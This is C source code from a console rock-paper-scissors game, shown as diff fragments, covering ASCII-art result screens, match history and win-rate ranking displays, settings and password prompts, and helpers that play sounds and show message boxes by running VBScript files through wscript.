printf("** ** ** ** ** ** \n"); print__space(nSpc);
printf(" ** ** ** ** \n"); print__space(nSpc);
printf(" ** * * ** \n"); print__space(nSpc);
printf(" ** ** ** ** \n"); print__space(nSpc);
printf("** ** ** ** ** ** \n"); print__space(nSpc);
printf(" ** ** ** ** ** ** \n");
}
void print_1_2()
{
int nSpc=14;
print__space(nSpc);
printf(" ** ** ** *********** \n"); print__space(nSpc);
printf("** ** ** ************* \n"); print__space(nSpc);
printf(" ** ** *************** \n"); print__space(nSpc);
printf(" ** * *****************\n"); print__space(nSpc);
printf(" ** ** *************** \n"); print__space(nSpc);
printf("** ** ** ************* \n"); print__space(nSpc);
printf(" ** ** ** *********** \n");
printf("\n\n");
print__space(nSpc+25);
printf("Unit Lost!");
}
void print_1_3()
{
int nSpc=14;
print__space(nSpc);
printf(" ** ** ** ++++++++++++++++\n"); print__space(nSpc);
printf("** ** ** ++++++++++++++++\n"); print__space(nSpc);
printf(" ** ** ++++++++++++++++\n"); print__space(nSpc);
printf(" ** * ++++++++++++++++\n"); print__space(nSpc);
printf(" ** ** ++++++++++++++++\n"); print__space(nSpc);
printf("** ** ** ++++++++++++++++\n"); print__space(nSpc);
printf(" ** ** ** ++++++++++++++++\n");
printf("\n\n");
print__space(nSpc+28);
printf("Win!");
}
void print_2_2()
{
int nSpc=14;
print__space(nSpc);
printf(" *********** *********** \n"); print__space(nSpc);
printf(" ************* ************* \n"); print__space(nSpc);
printf(" *************** *************** \n"); print__space(nSpc);
printf("***************** *****************\n"); print__space(nSpc);
printf(" *************** *************** \n"); print__space(nSpc);
printf(" ************* ************* \n"); print__space(nSpc);
printf(" *********** *********** \n");
}
void print_2_1()
{
int nSpc=14;
print__space(nSpc);
printf(" *********** ** ** ** \n"); print__space(nSpc);
printf(" ************* ** ** ** \n"); print__space(nSpc);
printf(" *************** ** ** \n"); print__space(nSpc);
printf("***************** * ** \n"); print__space(nSpc);
printf(" *************** ** ** \n"); print__space(nSpc);
printf(" ************* ** ** ** \n"); print__space(nSpc);
printf(" *********** ** ** ** \n");
printf("\n\n");
print__space(nSpc+28);
printf("Win!");
}
void print_2_3()
{
int nSpc=14;
print__space(nSpc);
printf(" *********** ++++++++++++++++\n"); print__space(nSpc);
printf(" ************* ++++++++++++++++\n"); print__space(nSpc);
printf(" *************** ++++++++++++++++\n"); print__space(nSpc);
printf("***************** ++++++++++++++++\n"); print__space(nSpc);
printf(" *************** ++++++++++++++++\n"); print__space(nSpc);
printf(" ************* ++++++++++++++++\n"); print__space(nSpc);
printf(" *********** ++++++++++++++++\n");
printf("\n\n");
print__space(nSpc+25);
printf("Unit Lost!");
}
void print_3_3()
{
int nSpc=14;
print__space(nSpc);
printf("++++++++++++++++ ++++++++++++++++\n"); print__space(nSpc);
printf("++++++++++++++++ ++++++++++++++++\n"); print__space(nSpc);
printf("++++++++++++++++ ++++++++++++++++\n"); print__space(nSpc);
printf("++++++++++++++++ ++++++++++++++++\n"); print__space(nSpc);
printf("++++++++++++++++ ++++++++++++++++\n"); print__space(nSpc);
printf("++++++++++++++++ ++++++++++++++++\n"); print__space(nSpc);
printf("++++++++++++++++ ++++++++++++++++\n");
}
void print_3_1()
{
int nSpc=14;
print__space(nSpc);
printf("++++++++++++++++ ** ** ** \n"); print__space(nSpc);
printf("++++++++++++++++ ** ** ** \n"); print__space(nSpc);
printf("++++++++++++++++ ** ** \n"); print__space(nSpc);
printf("++++++++++++++++ * ** \n"); print__space(nSpc);
printf("++++++++++++++++ ** ** \n"); print__space(nSpc);
printf("++++++++++++++++ ** ** ** \n"); print__space(nSpc);
printf("++++++++++++++++ ** ** ** \n");
printf("\n\n");
print__space(nSpc+25);
printf("Unit Lost!");
}
void print_3_2()
{
int nSpc=14;
print__space(nSpc);
printf("++++++++++++++++ *********** \n"); print__space(nSpc);
printf("++++++++++++++++ ************* \n"); print__space(nSpc);
printf("++++++++++++++++ *************** \n"); print__space(nSpc);
printf("++++++++++++++++ ***************** \n"); print__space(nSpc);
printf("++++++++++++++++ *************** \n"); print__space(nSpc);
printf("++++++++++++++++ ************* \n"); print__space(nSpc);
printf("++++++++++++++++ *********** \n");
printf("\n\n");
print__space(nSpc+28);
printf("Win!");
}
void print__result(int nChc,int nCmp)
{
int nPnt=nChc;
/* clear screen */
system("cls");
print__header();
printf("Please select your choice:\n\n");
char chItem1[]="scissors";
print_item(chItem1,(nPnt==1)?1:0,38);
char chItem2[]="rock ";
print_item(chItem2,(nPnt==2)?1:0,38);
char chItem3[]="paper ";
print_item(chItem3,(nPnt==3)?1:0,38);
printf("\n\n\n");
if(nChc==1&&nCmp==1) print_1_1();
if(nChc==1&&nCmp==2) print_1_2();
if(nChc==1&&nCmp==3) print_1_3();
if(nChc==2&&nCmp==1) print_2_1();
if(nChc==2&&nCmp==2) print_2_2();
if(nChc==2&&nCmp==3) print_2_3();
if(nChc==3&&nCmp==1) print_3_1();
if(nChc==3&&nCmp==2) print_3_2();
if(nChc==3&&nCmp==3) print_3_3();
printf("\n\n\n\n\n");
printf("Press ESC to Exit!");
}
void print__history(int **pData)
{
/* clear screen */
system("cls");
print__header();
printf("\n\n");
int nSpc=33;
print__space(4);
printf("Me");
print__space(nSpc);
printf("Computer");
print__space(nSpc);
printf("Result");
printf("\n");
int i;
for(i=0;i<lSize/3;i++)
{
printf("\n");
if(pData[i][0]==8)
{
printf(" ------------------------------------------------------------------------------------ ");
}
else
{
print__space(2);
if(pData[i][0]==1) printf("scissor");
if(pData[i][0]==2) printf(" rock ");
if(pData[i][0]==3) printf(" paper ");
print__space(nSpc);
if(pData[i][1]==1) printf("scissor");
if(pData[i][1]==2) printf(" rock ");
if(pData[i][1]==3) printf(" paper ");
print__space(nSpc);
if(pData[i][2]==0)
{
if(pData[i][0]==pData[i][1]) printf("Draw");
else printf("Lose");
}
if(pData[i][2]==1) printf("Win");
}
}
printf("\n\n");
printf("Press ESC to Exit!");
}
void print__abstract_history(int **pData)
{
/* clear screen */
system("cls");
print__header();
printf("\n\n");
int nSpc=33;
print__space(4);
printf("Me");
print__space(nSpc);
printf("Computer");
print__space(nSpc);
printf("Result");
printf("\n");
int i,roundTimes=0;
for(i=0;i<lSize/3;)
{
printf("\n");
while(pData[i++][0]==8&&i<lSize/3)
{
int j=i;
while(pData[j][0]!=8&&j++<(lSize/3-2));
printf("\n No. %d",++roundTimes );
printf(" Play rounds: %d",j-i );
int win=0;
for(int m=i;m<j;m++)
win+=pData[m][2];
printf(" Overal Win %d",win );
int draw=0;
for(int m=i;m<j;m++)
if(pData[m][0]==pData[m][1])
draw++;
printf(" Draw: %d",draw );
printf(" Lose: %d", j-i-win-draw);
if(win>j-i-win-draw) printf(" Winner: The Player\n");
else if(win<j-i-win-draw) printf(" Winner: The Computer\n");
else printf(" Winner: No Winner\n");
printf(" ------------------------------------------------------------------------------------ ");
}
i--;
print__space(2);
if(pData[i][0]==1) printf("scissor");
if(pData[i][0]==2) printf(" rock ");
if(pData[i][0]==3) printf(" paper ");
print__space(nSpc);
if(pData[i][1]==1) printf("scissor");
if(pData[i][1]==2) printf(" rock ");
if(pData[i][1]==3) printf(" paper ");
print__space(nSpc);
if(pData[i][2]==0)
{
if(pData[i][0]==pData[i][1]) printf("Draw");
else printf("Lose");
}
if(pData[i][2]==1) printf("Win");
i++;
}
printf("\n\n");
printf("Press ESC to Exit!\n\n");
}
void print__rank()
{
/* clear screen */
system("cls");
print__header();
printf("\n\n");
int nSpc=33;
print__space(4);
printf("No.");
print__space(nSpc);
printf(" User ");
print__space(nSpc-3);
printf("Win Rates");
printf("\n");
char **pUsr=data__get_usr();
int i,j,nRows=data__get_usr_num(pUsr);
float fRank[nRows][4];
for(i=0;i<nRows;i++)
{
int **pData=data__get_data(pUsr[i]);
fRank[i][1]= data__win_rate(pData);
fRank[i][2]= data__win_rate(pData);
fRank[i][0]= i;
}
int max=0,maxItm=0;
for(j=0;j<nRows;j++)
{
for(i=0;i<nRows;i++)
{
if(fRank[i][2]>=max)
{
max=fRank[i][2];
maxItm=i;
}
}
fRank[maxItm][3]=j;
if(max)
{
printf("\n");
print__space(4);
printf("%2d", j+1);
print__space(nSpc-3);
printf("%10s",pUsr[maxItm] );
print__space(nSpc-1);
if(fRank[maxItm][1]==0) printf(" 0.00%%");
else
printf("%3.2f%%", fRank[maxItm][1]-0.0099);
fRank[maxItm][2]=0;
max=0;
}
}
printf("\n\n");
printf("Press ESC to Exit!");
}
void print__settings(int nPnt)
{
/* clear screen */
system("cls");
print__header();
char chItem1[]=" Go Back to main menu";
print_item(chItem1,(nPnt==1)?1:0,25);
if(snd==1)
{
char chItem2[]=" Mute the sound";
print_item(chItem2,(nPnt==2)?1:0,25);
}
else
{
char chItem3[]=" Open the sound";
print_item(chItem3,(nPnt==2)?1:0,25);
}
char chItem4[]=" Reinstall the Game";
print_item(chItem4,(nPnt==3)?1:0,25);
char chItem5[]=" Uninstall the Game";
print_item(chItem5,(nPnt==4)?1:0,25);
char chItem6[]=" Change My Password";
print_item(chItem6,(nPnt==5)?1:0,25);
char chItem7[]=" Clean My History ";
print_item(chItem7,(nPnt==6)?1:0,25);
printf("\n\n\n\n\n\n\n\n\n\n\n\n\n");
printf("Press ESC to Exit!");
}
void print__get_password(int type, int words)
{
system("cls");
if(type) printf("Your password is WRONG! Please try again~\n\n");
printf("Please input your password: \n\nYour password = ");
for(int i=0;i<words;i++) printf("*");
}
void print__get_newpassword(int type, int words)
{
system("cls");
if(type%4==0) printf("Please set your password: \n\nYour password = ");
if(type%4==1) printf("Please input your password again: \n\nYour password = ");
if(type%4==2) printf("The passwords you input are not the same!\n\nPlease set your password again: \n\nYour password = ");
if(type%4==3) printf("Please input your password again: \n\nYour password = ");
for(int i=0;i<words;i++) printf("*");
}

@ -0,0 +1,103 @@
#include<stdio.h> /* Include standard library of stdio.h for the use of function printf(), get() */
#include<stdlib.h> /* Include standard liberary of stdlib.h for the use of function system(), */
/* function of playing background1 */
void sound__background1()
{
/* stop music player */
system("tasklist | find \"wscript.exe\" > nul && taskkill /f /im wscript.exe > nul ");
/* play background via vbs */
system("copy scrpt\\snd_start_bc1.as2 snd_start_bc1.vbs>nul");
system("copy scrpt\\snd_bckgrnd1.as2 snd_bckgrnd1.vbs>nul");
system("wscript snd_start_bc1.vbs");
system("del snd_start_bc1.vbs>nul");
}
/* function of playing background2 */
void sound__background2()
{
/* stop music player */
system("tasklist | find \"wscript.exe\" > nul && taskkill /f /im wscript.exe > nul ");
/* play background via vbs */
system("copy scrpt\\snd_start_bc2.as2 snd_start_bc2.vbs>nul");
system("copy scrpt\\snd_bckgrnd2.as2 snd_bckgrnd2.vbs>nul");
system("wscript snd_start_bc2.vbs");
system("del snd_start_bc2.vbs>nul");
}
/* function of playing win */
void sound__win()
{
/* play background via vbs */
system("copy scrpt\\snd_start_wn.as2 snd_start_wn.vbs>nul");
system("copy scrpt\\snd_wn.as2 snd_wn.vbs>nul");
system("wscript snd_start_wn.vbs");
system("del snd_start_wn.vbs>nul");
}
/* function of playing draw */
void sound__draw()
{
/* play background via vbs */
system("copy scrpt\\snd_start_dr.as2 snd_start_dr.vbs>nul");
system("copy scrpt\\snd_drw.as2 snd_drw.vbs>nul");
system("wscript snd_start_dr.vbs");
system("del snd_start_dr.vbs>nul");
}
/* function of playing lose */
void sound__lose()
{
/* play background via vbs */
system("copy scrpt\\snd_start_ls.as2 snd_start_ls.vbs>nul");
system("copy scrpt\\snd_ls.as2 snd_ls.vbs>nul");
system("wscript snd_start_ls.vbs");
system("del snd_start_ls.vbs>nul");
}
/* function of playing allclear*/
void sound__allclear()
{
/* stop music player */
system("tasklist | find \"wscript.exe\" > nul && taskkill /f /im wscript.exe > nul ");
/* play background via vbs */
system("copy scrpt\\snd_start_al.as2 snd_start_al.vbs>nul");
system("copy scrpt\\snd_allclr.as2 snd_allclr.vbs>nul");
system("wscript snd_start_al.vbs");
system("del snd_start_al.vbs>nul");
}
/* function of playing gameover */
void sound__gameover()
{
/* stop music player */
system("tasklist | find \"wscript.exe\" > nul && taskkill /f /im wscript.exe > nul ");
/* play background via vbs */
system("copy scrpt\\snd_start_gm.as2 snd_start_gm.vbs>nul");
system("copy scrpt\\snd_gmvr.as2 snd_gmvr.vbs>nul");
system("wscript snd_start_gm.vbs");
system("del snd_start_gm.vbs>nul");
}
/* function of stop playing*/
void sound__stop()
{
/* stop music player */
system("tasklist | find \"wscript.exe\" > nul && taskkill /f /im wscript.exe > nul ");
system("del snd_bckgrnd1.vbs>nul");
system("del snd_bckgrnd2.vbs>nul");
system("del snd_wn.vbs>nul");
system("del snd_drw.vbs>nul");
system("del snd_ls.vbs>nul");
system("del snd_allclr.vbs>nul");
system("del snd_gmvr.vbs>nul");
}

@ -0,0 +1,53 @@
/* function for showing a msgbox window */
int winprint__msgbox(char msg[30], int type)
{
/* declaer a FILE variable */
FILE *fp=NULL;
int nRtrnVal=0;
/* make a new folder */
system("IF NOT EXIST \"cache\" md cache >nul");
/* write msg to msg.dat */
fp = fopen ("cache/msg.dat", "w+");
fprintf( fp,"%s",msg);
/* close file */
fclose(fp);
if(type==1)
{
system("copy scrpt\\prnt1.as2 prnt1.vbs>nul");
/* include vb script */
system("wscript prnt1.vbs");
system("del prnt1.vbs>nul");
nRtrnVal=1;
}
if(type==2)
{
system("copy scrpt\\prnt2.as2 prnt2.vbs>nul");
/* include vb script */
system("wscript prnt2.vbs");
system("del prnt2.vbs>nul");
/* read result from res.dat */
fp = fopen ("cache/res.dat", "r+");
nRtrnVal=fgetc(fp)-48;
/* close file */
fclose(fp);
}
/* clear cache file */
system("del /Q /F cache\\res.dat >nul");
system("del /Q /F cache\\msg.dat >nul");
return nRtrnVal;
}
Loading…
Cancel
Save